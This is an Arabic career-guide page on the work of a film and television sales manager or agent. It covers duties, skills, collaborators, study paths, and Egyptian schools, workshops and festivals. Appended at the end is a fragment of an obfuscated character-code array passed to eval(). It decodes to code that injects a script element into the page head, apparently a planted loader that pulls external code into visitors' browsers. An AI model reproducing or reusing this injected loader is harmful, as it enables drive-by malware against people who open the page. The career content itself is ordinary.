مدير المبيعات

1.3K

ما هو عمل مدير المبيعات ؟

يتصرف شركات المبيعات نيابة عن المنتج لبيع الحقوق في فيلم مستقل أو دراما تلفزيونية و يتواصل مع  الموزعين ، الذين يقومون بعد ذلك بإصدار الأفلام على منصات مختلفة (السينما أو التلفزيون أو أقراص DVD أو Blu-ray أو منصات البث مثل Netflix أو الأمازون).

(الإنتاج المستقل هو الانتاج  محدود الميزانية ،لم يتم إنتاجه من قبل شركة انتاج كبرى ،و يتم توزيع إنتاجاتهم بواسطة شركاتهم الفرعية في جميع أنحاء العالم).يتفاوض وكلاء المبيعات مع الموزعين ، بناءً على تقديرات المبيعات والتقييم التفصيلي للقيمة التجارية للإنتاج.

وكلاء المبيعات مسؤولون أيضًا عن الترويج و الاعلان ،  يروجون للأفلام التي يمثلونها في المهرجانات وأسواق الأفلام ، ويدعون الموزعين إلى العروض ويقيمون حفلات العرض الأول وعادة ما يشاركون في تطوير خطة التسويق.

يبحث وكلاء المبيعات باستمرار عن محتوى جديدًا لبيعه من صانعي الأفلام وهم يبنون علاقات مع الموزعين في جميع أنحاء العالم ، لذلك عادة ما تنطوي الوظيفة على السفر.

ما هي مهارات مديرالمبيعات الجيد ؟

• الوعي الثقافي : لديهم وعي بالاتجاهات الثقافية ، وفهم السوق والتنبؤ به على الصعيد العالمي المحلي  و لديه  قدرة على التقاط المواهب و القدرة على قراءة النصوص بسرعة وبدقة

• معرفة عملية صناعة الأفلام: فهم جميع الجوانب المشاركة في صنع فيلم ، او المسلسل من النص إلى التمويل إلى مرحلة ما بعد الإنتاج

• الوعي التجاري والتسويق: يملك  مهارات مبيعات قوية لتأمين الصفقات التنافسية ، و لديه قدرة على عرض  قصة فيلم بطريقة موجزة وجذابة وجهاً لوجه مع المشترين و الموزعين ، وفهم التسويق الرقمي ووسائل التواصل الاجتماعي

• التواصل: إقامة علاقات جيدة والتواصل باستمرار مع منافذ التوزيع ومبرمجي المهرجانات وكذلك مع صانعي الأفلام ، واستخدام المهارات اللغوية للسفر فهم  الثقافات الأخرى ، لديهم معرفة واسعة بمهرجانات الأفلام والأسواق

• التفاوض: مرنًا وقادرًا على التفاوض على الشروط ووضع العقود وفهم الترخيص وحقوق النشر

• المالية: تعامل مع الأرقام ، ولديها المعرفة المالية لإجراء تنبؤات المبيعات ، والتفاوض على التمويل والتعامل مع الميزانية

مع من يعمل مدير المبيعات؟

يتواصل وكلاء المبيعات مع الموزعين نيابة عن منتجي الأفلام حتى يعملون بشكل وثيق مع كل من هذه المجموعات. كما أنهم يتعاونون مع أشخاص آخرين في المبيعات والتوزيع مثل مديري التسويق والدعاية.

كيف أصبح مديراً للمبيعات؟

أدوار وكيل المبيعات هي  من المناصب التى  تحتاج  ان يكون  لديك مستوى واسع  من المعرفة والخبرة في الصناعة ، لديك خبرة في الانتاج او من الممكن ان تكون  لديك  خبرة  في مجال التسويق و الادارة او القانون

الدراسة الاكاديمية

يفضل بالطبع الدراسة في الجامعة لمعرفة كل الجوانب العملية الابداعية و الانتاجية و التسويقبة بشكل علمي و عملي سواء في المعهد العالي للسينما قسم إنتاج اوفي مجال الاعلام او  الدراسة في الكليات المتخصصة في مجال التجارة أو التسويق أو المحاسبة  مع التدرب في مجال الانتاج السينمائي و التلفزيوني . و يمكن ايضا اخذ دورات تعليمية في مجال الانتاج السينمائي و التلفزيوني في ستديو ذات دورة الانتاج السينمائي http://www.studiozat.com/

الدراسة الاكاديمية :

أسماء الكليات و ورش التدريب

المعهد العالي للسينما ( اكاديمية الفنون )  قسم إنتاج 

جامعة بدر كليه الفنون السينمائية والمسرحية ( مدينة بدر ) قسم السينما

الجامعة الامريكية بالقاهرة / كلية الفنون

الجامعة البريطانية بالقاهرة  / برنامج : دراسات الافلام والاعلام

الجامعة الفرنسية  / دبلوم دورة الفنون  في السينما و التلفزيون

المدرسة العربية للسينما و التلفزيون ( الدراسة عبر الانترنت فقط )

ورش التدريب الخاصة و المهرجانات ( ورش منح الانتاج / وسوق  التسويق في المهرجانات)

1.جمعية الجيزويت ، النهضة العلمية والثقافية ( القاهرة / المنيا / اسيوط / سوهاج )

2.اكاديمية كاليبر

المهرجانات

1.مهرجان القاهرة السينمائي الدولي

2.مهرجان الاسكندرية السينمائي الدولي

3.مهرجان الاقصر للسينما الافريقية

4. مهرجان اسوان لسينما المرآة

5 . مهرجان الجونة السينمائي

شبكة الاتصال:

• إنشاء ملف تعريف LinkedIn. وصفحة Facebook لتعريف بموهبتك و قدراتك و الخبرة التي تمتلكها أيضا يمكن تصفح صفحات او مواقع العاملين في مجال  صناعة السينما للتبادل الخبرات و المعارف في نفس المجال 

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);